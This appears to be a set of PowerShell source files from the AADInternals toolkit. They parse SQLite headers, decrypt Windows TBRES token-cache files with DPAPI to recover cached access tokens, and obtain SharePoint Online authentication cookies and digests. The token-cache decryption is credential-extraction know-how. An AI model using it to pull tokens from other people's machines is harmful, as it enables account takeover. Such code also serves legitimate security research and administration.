# A value of 5 (0x05) means the page is an interior table b-tree page.
# A value of 10 (0x0a) means the page is a leaf index b-tree page.
# A value of 13 (0x0d) means the page is a leaf table b-tree page.
$freeBlockStart = [System.BitConverter]::ToInt16($Data[($p+2-1)..$p],0); $p += 2
$cellsOnPage = [System.BitConverter]::ToInt16($Data[($p+2-1)..$p],0); $p += 2
$cellContentStart = [System.BitConverter]::ToInt16($Data[($p+2-1)..$p],0); $p += 2
if($cellContentStart -eq 0) # A zero value for this integer is interpreted as 65536.
{
$cellContentStart = 65536
}
$fragmentedFreeBytes = [int]$Data[$p]; $p += 1
if($pageType -eq 0x02)
{
$pageNumber = [System.BitConverter]::ToInt32($Data[($p+4-1)..$p],0); $p += 4
}
$cells = New-Object psobject[] $cellsOnPage
for($c = 0 ; $c -lt $cellsOnPage; $c++)
{
$cellOffset = [System.BitConverter]::ToInt16($Data[($p+2-1)..$p],0); $p += 2
$cellStart = $pageStart + $cellOffset
$cells[$c] = Parse-SQLiteBTreeCell -Data $Data -Position $cellStart -PageType $pageType -PageSize $PageSize
}
$Position.Value = $p
switch($pageType)
{
0x0d {$strPageType = "Table Leaf" ; break}
0x05 {$strPageType = "Table Interior"; break}
0x0a {$strPageType = "Index Leaf" ; break}
0x02 {$strPageType = "Index Interior"; break}
}
$attributes = [ordered]@{
"PageType" = $strPageType
"PageNumber" = $pageNumber
"CellsOnPage" = $cellsOnPage
"ContentStart" = $cellContentStart
"Cells" = $cells
}
return New-Object -TypeName psobject -Property $attributes
}
}
# Parses SQLite database file header
# Sep 27th 2022
function Parse-SQLiteHeader
{
[CmdletBinding()]
param(
[Parameter(Mandatory=$true)]
[byte[]]$Data,
[Parameter(Mandatory=$true)]
[ref]$Position
)
Begin
{
$encodings = @(
"UTF-8"
"UTF-16le"
"UTF-16be"
)
}
Process
{
# Ref. https://www.sqlite.org/fileformat.html
$p = $Position.Value
$headerString = [text.encoding]::UTF8.GetString($Data[$p..($p+16-1)]); $p += 16
$dbPageSize = [System.BitConverter]::ToInt16($Data[($p+2-1)..$p],0); $p += 2
if($dbPageSize -eq 1) # The database page size in bytes. Must be a power of two between 512 and 32768 inclusive, or the value 1 representing a page size of 65536.
{
$dbPageSize = 65536
}
$fileWriteVersion = [int]$Data[$p]; $p += 1
$fileReadVersion = [int]$Data[$p]; $p += 1
$reservedSpaceBytes = [int]$Data[$p]; $p += 1
$maxEmbeddedPayloadFraction = [int]$Data[$p]; $p += 1
$minEmbeddedPayloadFraction = [int]$Data[$p]; $p += 1
$leafPayloadFraction = [int]$Data[$p]; $p += 1
$fileChangeCounter = [System.BitConverter]::ToInt32($Data[($p+4-1)..$p],0); $p += 4
$dbSizePages = [System.BitConverter]::ToInt32($Data[($p+4-1)..$p],0); $p += 4
$firstFreelistTrunkPage = [System.BitConverter]::ToInt32($Data[($p+4-1)..$p],0); $p += 4
$freelistPages = [System.BitConverter]::ToInt32($Data[($p+4-1)..$p],0); $p += 4
$schemaCookie = [System.BitConverter]::ToInt32($Data[($p+4-1)..$p],0); $p += 4
$schemaFormatNumber = [System.BitConverter]::ToInt32($Data[($p+4-1)..$p],0); $p += 4
# A value of 1 means UTF-8. A value of 2 means UTF-16le. A value of 3 means UTF-16be.
$defaultPageCacheSize = [System.BitConverter]::ToInt32($Data[($p+4-1)..$p],0); $p += 4
$largestRootBTreePage = [System.BitConverter]::ToInt32($Data[($p+4-1)..$p],0); $p += 4
$dbTextEncoding = [System.BitConverter]::ToInt32($Data[($p+4-1)..$p],0); $p += 4
$userVersion = [System.BitConverter]::ToInt32($Data[($p+4-1)..$p],0); $p += 4
$incrementalVacuumMode = [System.BitConverter]::ToInt32($Data[($p+4-1)..$p],0) -ne 0; $p += 4
$applicationId = [System.BitConverter]::ToInt32($Data[($p+4-1)..$p],0); $p += 4
$reserved = $Data[$p..($p+20-1)]; $p += 20
$versionValidForNumber = [System.BitConverter]::ToInt32($Data[($p+4-1)..$p],0); $p += 4
$versionNumber = [System.BitConverter]::ToInt32($Data[($p+4-1)..$p],0); $p += 4
# Check variables
if($maxEmbeddedPayloadFraction -ne 64)
{
Write-Warning "Maximum embedded payload fraction is $maxEmbeddedPayloadFraction, it MUST be 64"
}
if($minEmbeddedPayloadFraction -ne 32)
{
Write-Warning "Minimum embedded payload fraction is $minEmbeddedPayloadFraction, it MUST be 32"
}
if($schemaFormatNumber -ne 4)
{
Write-Warning "Schema version $schemaFormatNumber not supported, expected version 4"
}
$Position.Value = $p
$attributes = [ordered]@{
"PageSize" = $dbPageSize
"Pages" = $dbSizePages
"Encoding" = $encodings[$dbTextEncoding-1]
"ChangeCounter" = $fileChangeCounter
"FirstFreelistPage" = $freelistPages
"FreelistPages" = $freelistPages
"SchemaFormat" = $schemaFormatNumber
"SchemaCookie" = $schemaCookie
"SQLiteVersion" = $versionNumber
"ReservedSpaceBytes" = $reservedSpaceBytes
}
return New-Object -TypeName PSObject -Property $attributes
}
} |
TBRES.ps1 | AADInternals-0.9.4 | # This file contains functions to read and decrypt TBRES files
# Parses TBRES files
# Nov 18 2021
Function Parse-TBRES
{
[cmdletbinding()]
param(
[parameter(Mandatory=$true,ValueFromPipeline)]
[byte[]]$Data
)
Process
{
# Strip the null terminator, convert to string and parse json.
$json = [text.encoding]::Unicode.GetString($Data,0,$Data.Length).TrimEnd(0x00) | ConvertFrom-Json
# Get the encrypted content
$txtEncrypted = $json.TBDataStoreObject.ObjectData.SystemDefinedProperties.ResponseBytes.Value
# Convert B64 to byte array
$binEncrypted = Convert-B64ToByteArray -B64 $txtEncrypted
# If protected, decrypt with DPAPI
if($json.TBDataStoreObject.ObjectData.SystemDefinedProperties.ResponseBytes.IsProtected)
{
$binDecrypted = [Security.Cryptography.ProtectedData]::Unprotect($binEncrypted,$null,'CurrentUser')
}
else
{
$binDecrypted = $binEncrypted
}
# Parse the expiration time
$fileTimeUtc = [BitConverter]::ToUInt64((Convert-B64ToByteArray $json.TBDataStoreObject.ObjectData.SystemDefinedProperties.Expiration.Value),0)
$expires = [datetime]::FromFileTimeUtc($fileTimeUtc)
if((Get-Date).ToUniversalTime() -ge $expires)
{
Write-Warning "Token is expired"
return
}
return Parse-TBRESResponseBytes -Data $binDecrypted
}
}
# Parses ResponseBytes TBRES files
# Nov 18 2021
Function Parse-TBRESResponseBytes
{
[cmdletbinding()]
param(
[parameter(Mandatory=$true,ValueFromPipeline)]
[byte[]]$Data
)
Begin
{
}
Process
{
# Parses version number from TBRES response bytes
# Nov 20 2021
Function Parse-TBRESVersion
{
[cmdletbinding()]
param(
[parameter(Mandatory=$true,ValueFromPipeline)]
[byte[]]$Data,
[parameter(Mandatory=$true,ValueFromPipeline)]
[ref]$Position,
[parameter(Mandatory=$false,ValueFromPipeline)]
[int[]]$ExpectedVersions = @(1,2)
)
Process
{
$p = $Position.Value
$version = [BitConverter]::ToUInt32($Data[($p + 3)..$p],0); $p += 4
if($ExpectedVersions -notcontains $version)
{
Throw "Invalid version $version, expected one of $($ExpectedVersions -join ',')"
}
$Position.Value = $p
}
}
# Parses key-value pairs from decrypted TBRES response bytes
# Nov 20 2021
Function Parse-TBRESKeyValue
{
[cmdletbinding()]
param(
[parameter(Mandatory=$true,ValueFromPipeline)]
[byte[]]$Data,
[parameter(Mandatory=$true,ValueFromPipeline)]
[ref]$Position
)
Process
{
$p = $Position.Value
$keyType = [BitConverter]::ToUInt32($Data[($p + 3)..$p],0); $p += 4
if($keyType -ne 0x0c)
{
Throw "Invalid key type $keyType"
}
$keyLength = [BitConverter]::ToUInt32($Data[($p + 3)..$p],0); $p += 4
$binKey = $Data[$p..($p + $keyLength -1)]; $p += $keyLength
$key = [text.encoding]::UTF8.GetString($binKey)
$valueType = [BitConverter]::ToUInt32($Data[($p + 3)..$p],0); $p += 4
switch($valueType)
{
0x0C # String
{
$valueLength = [BitConverter]::ToUInt32($Data[($p + 3)..$p],0); $p += 4
$value = [text.encoding]::UTF8.GetString($Data,$p,$valueLength); $p += $valueLength
break
}
0x04 # UInt 32
{
$value = [BitConverter]::ToUInt32($Data[($p + 3)..$p],0); $p += 4
break
}
0x05 # UInt 32
{
$value = [BitConverter]::ToUInt32($Data[($p + 3)..$p],0); $p += 4
break
}
0x06 # Timestamp
{
$timestamp = [BitConverter]::ToUInt64($Data[($p + 7)..$p],0); $p += 8
$value = [datetime]::FromFileTimeUtc($timestamp)
break
}
0x07 # UInt 64
{
$value = [BitConverter]::ToUInt64($Data[($p + 7)..$p],0); $p += 8
break
}
0x0D # Guid
{
$value = [guid][byte[]]$Data[$p..($p + 15)]; $p += 16
break
}
1025 # Content identifier?
{
# This is the second content "identifier"
if($binKey.Length -eq 1 -and $binKey[0] -gt 1)
{
Write-Verbose "Content identifier $($binKey[0]), getting the next Key-Value."
# Read the size
$length = [BitConverter]::ToUInt32($Data[($p + 3)..$p],0); $p += 4
# Parse version
Parse-TBRESVersion -Data $Data -Position ([ref]$p)
# Get the next value
$next = Parse-TBRESKeyValue -Data $Data -Position ([ref]$p)
$key = $next.Key
$value = $next.Value
break
}
break
}
default
{
Write-Verbose "Unknown value type $valueType"
$value = $valueType
break
}
}
$Position.Value = $p
return [PSCustomObject][ordered]@{
"Key" = $key
"Value" = $value
}
}
}
# Parses elements from decrypted TBRES response bytes content
# Nov 20 2021
Function Parse-TBRESElement
{
[cmdletbinding()]
param(
[parameter(Mandatory=$true,ValueFromPipeline)]
[byte[]]$Data,
[parameter(Mandatory=$true,ValueFromPipeline)]
[ref]$Position,
[parameter(Mandatory=$false,ValueFromPipeline)]
[PSCustomObject]$Element
)
Process
{
$p = $Position.Value
$value = $null
# Parse element & length
if(!$Element)
{
$element = Parse-TBRESKeyValue -Data $Data ([ref]$p)
}
Write-Debug $element
$elementLength = [BitConverter]::ToUInt32($Data[($p + 3)..$p],0); $p += 4
if($element.Key -eq "WTRes_Error")
{
Write-Verbose "WTRes_Error file, skipping.."
return $null
}
elseif($element.Key -eq "WTRes_Token")
{
Write-Verbose "Parsing WTRes_Token"
# We already read the length so adjust
$p -= 4
# Parse status
$status = Parse-TBRESKeyValue -Data $Data ([ref]$p)
if($status.Value -ne 0)
{
Write-Warning "WTRes_Token status $($status.Value)"
}
$value = $element.Value
}
# Parse WTRes_PropertyBag and WTRes_Account
else
{
$propertyBagStart = $p
Write-Verbose "Parsing $($element.Key), $elementLength bytes"
# Parse version
Parse-TBRESVersion -Data $Data -Position ([ref]$p)
$properties = [ordered]@{}
While($p -lt ( $propertyBagStart + $elementLength))
{
$property = Parse-TBRESKeyValue -Data $Data ([ref]$p)
if($property.Key -eq "WA_Properties" -or $property.Key -eq "WA_Provier")
{
$property.Value = Parse-TBRESElement -Data $Data ([ref]$p) -Element $property
}
$properties[$property.Key] = $property.Value
}
$value = [PSCustomObject]$properties
}
$Position.Value = $p
return [PSCustomObject][ordered]@{
"Key" = $element.Key
"Value" = $value
}
}
}
$p = 0
# Parse version
Parse-TBRESVersion -Data $Data -Position ([ref]$p)
# Parse expiration timestamp and responses guid
$expiration = (Parse-TBRESKeyValue -Data $Data ([ref]$p)).value
$responses = (Parse-TBRESKeyValue -Data $Data ([ref]$p)).value
# Total response content length
$responseLen = [BitConverter]::ToUInt32($Data[($p + 3)..$p],0); $p += 4
# Parse version
Parse-TBRESVersion -Data $Data -Position ([ref]$p)
# It seems that sometimes the content have multiple "entries"
# These start with the following key-value pair:
# First: Key = 0x01 and Value = 1025
# Second: Key = 0x01 and Value = 1025
# These are handled in Parse-TBRESKeyValue function
$unk = Parse-TBRESKeyValue -Data $Data ([ref]$p)
#
# Content
#
# Content length
$contentLength = [BitConverter]::ToUInt32($Data[($p + 3)..$p],0); $p += 4
$contentStart = $p
# Parse version
Parse-TBRESVersion -Data $Data -Position ([ref]$p)
# Return value
$properties = [ordered]@{}
while($p -le ($contentStart + $contentLength))
{
try
{
$element = Parse-TBRESElement -Data $Data -Position ([ref]$p)
if($element -eq $null)
{
return $null
}
$properties[$element.Key] = $element.Value
}
catch
{
Write-Verbose "Got exception: $($_.Exception.Message)"
break
}
}
return [PSCustomObject]$properties
}
} |
OutlookAPI_utils.ps1 | AADInternals-0.9.4 | # Utilities for Outlook Rest API
# Escapes string to Json
function Escape-StringToJson
{
Param(
[Parameter(Mandatory=$True)]
[String]$String
)
Process
{
# ConvertTo-Json escapes strings automatically
$String | ConvertTo-Json
}
}
# Calls Outlook Rest API
function Call-OutlookAPI
{
Param(
[Parameter(Mandatory=$True)]
[String]$AccessToken,
[Parameter(Mandatory=$False)]
$Request,
[Parameter(Mandatory=$True)]
[String]$Command,
[Parameter(Mandatory=$False)]
[ValidateSet('Get','Post','Patch','Delete')]
[String]$Method="Get",
[Parameter(Mandatory=$False)]
[ValidateSet('v1.0','v2.0','beta')]
[String]$Api="v2.0"
)
Process
{
$headers = @{
"Authorization" = "Bearer $AccessToken"
"Accept" = "text/*, multipart/mixed, application/xml, application/json; odata.metadata=none"
"Content-Type" = "application/json; charset=utf-8"
"X-AnchorMailbox" = (Read-Accesstoken $AccessToken).upn
"Prefer" = 'exchange.behavior="ActivityAccess"'
}
$url="https://outlook.office.com/api/$Api/$Command"
if($Method -ne "Post" -and $Method -ne "Patch")
{
$response=Invoke-RestMethod -UseBasicParsing -Uri $Url -Method $Method -Headers $headers
}
else
{
$response=Invoke-RestMethod -UseBasicParsing -Uri $Url -Method $Method -Headers $headers -Body $Request
}
$response.value
}
}
|
SPO_utils.ps1 | AADInternals-0.9.4 | # Utility functions for SharePoint Online
# Gets the authentication cookie for SPO web interface
# Supports MFA, federation, etc.
# Jul 17th 2019
function Get-SPOAuthenticationHeader
{
<#
.SYNOPSIS
Gets authentication header for SharePoint Online
.DESCRIPTION
Gets authentication header for SharePoint Online, which is used for example to retrieve site users.
.Parameter Site
Url for the SharePoint Online
.Example
Get-AADIntSPOAuthenticationHeader
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
[String]$Site
)
Process
{
# Check the site url
$Site = $Site.Trim("/")
$siteDomain=$Site.Split("/")[2]
$headers=@{
"User-Agent"="Mozilla/5.0 (Windows NT 10.0; Win64; x64)"
"Upgrade-Insecure-Requests" = "1"
"Accept-Encoding" = "gzip, deflate, br"
"Accept-Language" = "en-US,en;q=0.9"
"Accept" = "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3"
}
# Step 1: Go to the requested site
$response = Invoke-WebRequest2 -uri $Site -MaximumRedirection 0 -ErrorAction SilentlyContinue
# Step 2: Go to "/_layouts/15/Authenticate.aspx?Source=%2F"
$url = $response.Headers.'Location'
$response = Invoke-WebRequest2 -uri $url -MaximumRedirection 0 -ErrorAction SilentlyContinue
$siteWebSession = Create-WebSession -SetCookieHeader $response.Headers.'Set-Cookie' -Domain $siteDomain
# Step 3: Go to "/_forms/default.aspx?ReturnUrl=%2f_layouts%2f15%2fAuthenticate.aspx%3fSource%3d%252F&Source=cookie"
$html=$response.Content
$s=$html.IndexOf('href="')+6
$e=$html.IndexOf('"',$s)
$url=$html.Substring($s,$e-$s)
$url="https://$siteDomain$url"
$response = Invoke-WebRequest2 -uri $url -MaximumRedirection 0 -WebSession $siteWebSession -ErrorAction SilentlyContinue
# Create the cookie header for the login form
$cookieHeaderValue=""
$cookies = $response.Headers.'Set-Cookie'.Split(";,")
foreach($cookie in $cookies)
{
$name = $cookie.Split("=")[0].trim()
$value = $cookie.Substring($name.Length+1)
if($name.StartsWith("nSGt") -or $name -eq "RpsContextCookie")
{
# If not empty, append the separator
if(![String]::IsNullOrEmpty($cookieHeaderValue))
{
$cookieHeaderValue+="; "
}
$cookieHeaderValue+="$name=$value"
}
}
# Set variables
$auth_redirect="foobar"#"https://login.microsoftonline.com/common/federation/oauth2"#"https://login.microsoftonline.com/kmsi"
$url=$response.Headers.Location
# Create the form
$form = Create-LoginForm -Url $url -auth_redirect $auth_redirect -Headers "Cookie: $cookieHeaderValue"
# Show the form and wait for the return value
if($form.ShowDialog() -ne "OK") {
# Dispose the control
$form.Controls[0].Dispose()
Write-Verbose "Login cancelled"
return $null
}
# Extract the needed parameters
$forminputs=$form.Controls[0].Document.getElementsByTagName("input")
$code = $forminputs.GetElementsByName("code")[0].GetAttribute("value")
$session_state = $forminputs.GetElementsByName("session_state")[0].GetAttribute("value")
$id_token = $forminputs.GetElementsByName("id_token")[0].GetAttribute("value")
$correlation_id = $forminputs.GetElementsByName("correlation_id")[0].GetAttribute("value")
$url=$form.Controls[0].Document.Forms[0].DomElement.action
# Dispose the control
$form.Controls[0].Dispose()
# Create the body and get the cookie
$body=@{
"code" = $code
"session_state" = $session_state
"id_token" = $id_token
"correlation_id" = $correlation_id
}
$response = Invoke-WebRequest2 -Uri $url -Method Post -Body $body -MaximumRedirection 0 -WebSession $siteWebSession
# Extract the cookies
$cookieHeader = $response.Headers.'Set-Cookie'
$cookieHeaderValue=""
# Clean up the Set-Cookie header
$cookies = $cookieHeader.Split(";,")
foreach($cookie in $cookies)
{
$name = $cookie.Split("=")[0].trim()
$value = $cookie.Substring($name.Length+1)
if($name -eq "rtFA" -or $name -eq "FedAuth" -or $name -eq "RpsContextCookie")
{
# If not empty, append the separator
if(![String]::IsNullOrEmpty($cookieHeaderValue))
{
$cookieHeaderValue+="|"
}
$cookieHeaderValue+="$name=$value"
}
}
# Return
return $cookieHeaderValue
}
}
# Creates a list from xml collection
function Create-ListFromCollection
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
$Collection
)
Process
{
if($Collection -ne $null)
{
$list=@()
foreach($element in $Collection.element)
{
$list+=$element
}
return $list
}
else
{
return $null
}
}
}
function Get-IDCRLToken
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
[System.Management.Automation.PSCredential]$Credentials
)
Process
{
# Get the authentication realm info
$realmInfo = Get-UserRealmV2 -UserName $Credentials.UserName
# Create the date strings
$now=Get-Date
$created = $now.ToUniversalTime().ToString("o")
$expires = $now.AddDays(1).ToUniversalTime().ToString("o")
# Check the realm type. If federated, we must first get the SAML token
if($realmInfo.NameSpaceType -eq "Federated")
{
$url = $realmInfo.STSAuthURL
# Create the body
$body=@"
<?xml version="1.0" encoding="UTF-8"?>
<s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:saml="urn:oasis:names:tc:SAML:1.0:assertion" xmlns:wsp="http://schemas.xmlsoap.org/ws/2004/09/policy" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:wssc="http://schemas.xmlsoap.org/ws/2005/02/sc" xmlns:wst="http://schemas.xmlsoap.org/ws/2005/02/trust">
<s:Header>
<wsa:Action s:mustUnderstand="1">http://schemas.xmlsoap.org/ws/2005/02/trust/RST/Issue</wsa:Action>
<wsa:To s:mustUnderstand="1">$url</wsa:To>
<wsa:MessageID>$((New-Guid).ToString())</wsa:MessageID>
<ps:AuthInfo xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" Id="PPAuthInfo">
<ps:HostingApp>Managed IDCRL</ps:HostingApp>
<ps:BinaryVersion>6</ps:BinaryVersion>
<ps:UIVersion>1</ps:UIVersion>
<ps:Cookies></ps:Cookies>
<ps:RequestParams>AQAAAAIAAABsYwQAAAAxMDMz</ps:RequestParams>
</ps:AuthInfo>
<wsse:Security>
<wsse:UsernameToken wsu:Id="user">
<wsse:Username>$($Credentials.UserName)</wsse:Username>
<wsse:Password>$($Credentials.GetNetworkCredential().Password)</wsse:Password>
</wsse:UsernameToken>
<wsu:Timestamp Id="Timestamp">
<wsu:Created>$created</wsu:Created>
<wsu:Expires>$expires</wsu:Expires>
</wsu:Timestamp>
</wsse:Security>
</s:Header>
<s:Body>
<wst:RequestSecurityToken Id="RST0">
<wst:RequestType>http://schemas.xmlsoap.org/ws/2005/02/trust/Issue</wst:RequestType>
<wsp:AppliesTo>
<wsa:EndpointReference>
<wsa:Address>urn:federation:MicrosoftOnline</wsa:Address>
</wsa:EndpointReference>
</wsp:AppliesTo>
<wst:KeyType>http://schemas.xmlsoap.org/ws/2005/05/identity/NoProofKey</wst:KeyType>
</wst:RequestSecurityToken>
</s:Body>
</s:Envelope>
"@
# Invoke the command to get the SAML token
$response=Invoke-RestMethod -UseBasicParsing -Method Post -Uri $url -Body $body -ContentType "application/soap+xml; charset=utf-8" -Headers @{"User-Agent"=""}
$samlToken = $response.Envelope.Body.RequestSecurityTokenResponse.RequestedSecurityToken.InnerXml
# Oops, got an error?
if([string]::IsNullOrEmpty($samlToken))
{
if($error -eq $response.Envelope.Body.Fault.Detail.error.internalerror.text)
{
Throw $error
}
}
# Create the security block
$security="$samlToken"
}
else
{
# Create the security block
$security=@"
<wsse:UsernameToken wsu:Id="user">
<wsse:Username>$($Credentials.UserName)</wsse:Username>
<wsse:Password>$($Credentials.GetNetworkCredential().Password)</wsse:Password>
</wsse:UsernameToken>
<wsu:Timestamp Id="Timestamp">
<wsu:Created>$created</wsu:Created>
<wsu:Expires>$expires</wsu:Expires>
</wsu:Timestamp>
"@
}
$url = "https://login.microsoftonline.com/rst2.srf"
# Create the body
$body=@"
<?xml version="1.0" encoding="UTF-8"?>
<S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsp="http://schemas.xmlsoap.org/ws/2004/09/policy" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:wst="http://schemas.xmlsoap.org/ws/2005/02/trust">
<S:Header>
<wsa:Action S:mustUnderstand="1">http://schemas.xmlsoap.org/ws/2005/02/trust/RST/Issue</wsa:Action>
<wsa:To S:mustUnderstand="1">https://login.microsoftonline.com/rst2.srf</wsa:To>
<ps:AuthInfo xmlns:ps="http://schemas.microsoft.com/LiveID/SoapServices/v1" Id="PPAuthInfo">
<ps:BinaryVersion>5</ps:BinaryVersion>
<ps:HostingApp>Managed IDCRL</ps:HostingApp>
</ps:AuthInfo>
<wsse:Security>$security</wsse:Security>
</S:Header>
<S:Body>
<wst:RequestSecurityToken xmlns:wst="http://schemas.xmlsoap.org/ws/2005/02/trust" Id="RST0">
<wst:RequestType>http://schemas.xmlsoap.org/ws/2005/02/trust/Issue</wst:RequestType>
<wsp:AppliesTo>
<wsa:EndpointReference>
<wsa:Address>sharepoint.com</wsa:Address>
</wsa:EndpointReference>
</wsp:AppliesTo>
<wsp:PolicyReference URI="MBI"></wsp:PolicyReference>
</wst:RequestSecurityToken>
</S:Body>
</S:Envelope>
"@
# Invoke the command
$response=Invoke-RestMethod -UseBasicParsing -Method Post -Uri $url -Body $body -ContentType "application/soap+xml; charset=utf-8" -Headers @{"User-Agent"=""}
# Extract the token
$token = $response.Envelope.Body.RequestSecurityTokenResponse.RequestedSecurityToken.BinarySecurityToken.'#text'
# Ooops, got an error?
if([string]::IsNullOrEmpty($token))
{
if($error -eq $response.Envelope.Body.Fault.Detail.error.internalerror.text)
{
Throw $error
}
}
# Return
return $token.Replace("&","&")
}
}
function Get-IDCRLCookie
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
[string]$Token,
[Parameter(Mandatory=$True)]
[string]$Tenant
)
Process
{
# Set the headers
$headers=@{
"Authorization" = "BPOSIDCRL $token"
"X-IDCRL_ACCEPTED" = "t"
"User-Agent" = ""
}
# Invoke the API
$response=Invoke-WebRequest2 -Method Get "https://$Tenant-admin.sharepoint.com/_vti_bin/idcrl.svc/" -Headers $headers
# Extract the IDCRL cookie
$cookie=$response.Headers.'Set-Cookie'
$cookie = $cookie.split(";")[0]
# Return the cookie header
return $cookie
}
}
function Get-SPODigest
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[string]$Cookie,
[Parameter(Mandatory=$False)]
[string]$AccessToken,
[Parameter(Mandatory=$True)]
[string]$Site
)
Process
{
# Set the headers
$headers=@{
"X-RequestForceAuthentication" = "true"
"X-FORMS_BASED_AUTH_ACCEPTED"= "f"
"SOAPAction" = "http://schemas.microsoft.com/sharepoint/soap/GetUpdatedFormDigestInformation"
"User-Agent" = ""
"X-ClientService-ClientTag" = "TAPS (16.0.20122.0)"
}
$Body=@"
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<GetUpdatedFormDigestInformation xmlns="http://schemas.microsoft.com/sharepoint/soap/" />
</soap:Body>
</soap:Envelope>
"@
# Parse the tenant part
$tenant = $site.Split("/")[2].Split(".")[0]
if(![string]::IsNullOrEmpty($Cookie))
{
$session = New-Object Microsoft.PowerShell.Commands.WebRequestSession
$webCookie = New-Object System.Net.Cookie
$webCookie.Name = $Cookie.Split("=")[0]
$webCookie.Value = $Cookie.Substring($webCookie.Name.Length+1)
$webCookie.Domain = "$tenant.sharepoint.com"
$session.Cookies.Add($webCookie)
}
else
{
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -Resource "https://$Tenant.sharepoint.com/" -ClientId "d3590ed6-52b3-4102-aeff-aad2292ab01c"
# Update the headers
$headers["Authorization"]="Bearer $AccessToken"
}
# Invoke the API
$response=Invoke-WebRequest2 -Method Post "$site/_vti_bin/sites.asmx" -Headers $headers -Body $Body -WebSession $session -ContentType "text/xml; charset=utf-8"
# Extract the Digest
[xml]$xmlContent=$response.Content
$digest=$xmlContent.Envelope.Body.GetUpdatedFormDigestInformationResponse.GetUpdatedFormDigestInformationResult.DigestValue
# Return the digest
return $digest
}
}
function Get-SPOTenantSettings
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[string]$Cookie,
[Parameter(Mandatory=$False)]
[string]$AccessToken,
[Parameter(Mandatory=$True)]
[string]$Site
)
Process
{
$Body=@"
<Request AddExpandoFieldTypeSuffix="true" SchemaVersion="15.0.0.0" LibraryVersion="16.0.0.0" ApplicationName="SharePoint Online PowerShell (16.0.20122.0)" xmlns="http://schemas.microsoft.com/sharepoint/clientquery/2009">
<Actions>
<ObjectPath Id="34" ObjectPathId="33" />
<ObjectPath Id="36" ObjectPathId="35" />
<Query Id="37" ObjectPathId="35">
<Query SelectAllProperties="true">
<Properties />
</Query>
</Query>
</Actions>
<ObjectPaths>
<Constructor Id="33" TypeId="{268004ae-ef6b-4e9b-8425-127220d84719}" />
<Method Id="35" ParentId="33" Name="GetSitePropertiesByUrl">
<Parameters>
<Parameter Type="String">$Site</Parameter>
<Parameter Type="Boolean">true</Parameter>
</Parameters>
</Method>
</ObjectPaths>
</Request>
"@
# Invoke ProcessQuery
$response = Invoke-ProcessQuery -Cookie $Cookie -AccessToken $AccessToken -Site $site -Body $Body
$content = ($response.content | ConvertFrom-Json)
# Return
return $content[$content.Count-1]
}
}
# Invokes ProcessQuery
# Nov 23rd 2022
function Invoke-ProcessQuery
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[string]$Cookie,
[Parameter(Mandatory=$False)]
[string]$AccessToken,
[Parameter(Mandatory=$True)]
[string]$Site,
[Parameter(Mandatory=$True)]
[string]$Body,
[Parameter(Mandatory=$False)]
[string]$Digest
)
Process
{
# Get the digest if not provided
if([String]::IsNullOrEmpty($Digest))
{
$Digest = Get-SPODigest -AccessToken $AccessToken -Cookie $Cookie -Site $Site
}
# Set the headers
$headers=@{
"X-RequestForceAuthentication" = "true"
"X-FORMS_BASED_AUTH_ACCEPTED"= "f"
"User-Agent" = ""
"X-RequestDigest" = $digest
}
# Parse the tenant part
$tenant = $site.Split("/")[2].Split(".")[0]
if(![string]::IsNullOrEmpty($Cookie))
{
$session = New-Object Microsoft.PowerShell.Commands.WebRequestSession
$webCookie = New-Object System.Net.Cookie
$webCookie.Name = $Cookie.Split("=")[0]
$webCookie.Value = $Cookie.Substring($webCookie.Name.Length+1)
$webCookie.Domain = "$tenant.sharepoint.com"
$session.Cookies.Add($webCookie)
}
else
{
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -Resource "https://$Tenant.sharepoint.com/" -ClientId "d3590ed6-52b3-4102-aeff-aad2292ab01c"
# Update the headers
$headers["Authorization"]="Bearer $AccessToken"
}
# Invoke the API
$response = Invoke-WebRequest2 -Method Post "$site/_vti_bin/client.svc/ProcessQuery" -Headers $headers -Body $Body -WebSession $session -ContentType "text/xml; charset=utf-8"
# Try to check error
$responseJson = $response.Content | ConvertFrom-Json
if($responseJson[0].ErrorInfo)
{
throw $responseJson[0].ErrorInfo.ErrorMessage
}
# return
$response
}
}
# Get migration container information
# Nov 22nd 2022
function Get-SPOMigrationContainersInfo
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[string]$Cookie,
[Parameter(Mandatory=$False)]
[string]$AccessToken,
[Parameter(Mandatory=$True)]
[string]$Site
)
Process
{
# Get the digest to be used with two next requests
$digest = Get-SPODigest -AccessToken $AccessToken -Cookie $Cookie -Site $Site
$Body=@"
<Request AddExpandoFieldTypeSuffix="true" SchemaVersion="15.0.0.0" LibraryVersion="16.0.0.0" ApplicationName=".NET Library" xmlns="http://schemas.microsoft.com/sharepoint/clientquery/2009">
<Actions>
<ObjectPath Id="2" ObjectPathId="1"/>
<ObjectPath Id="4" ObjectPathId="3"/>
<Method Name="ProvisionMigrationContainers" Id="5" ObjectPathId="3"/>
</Actions>
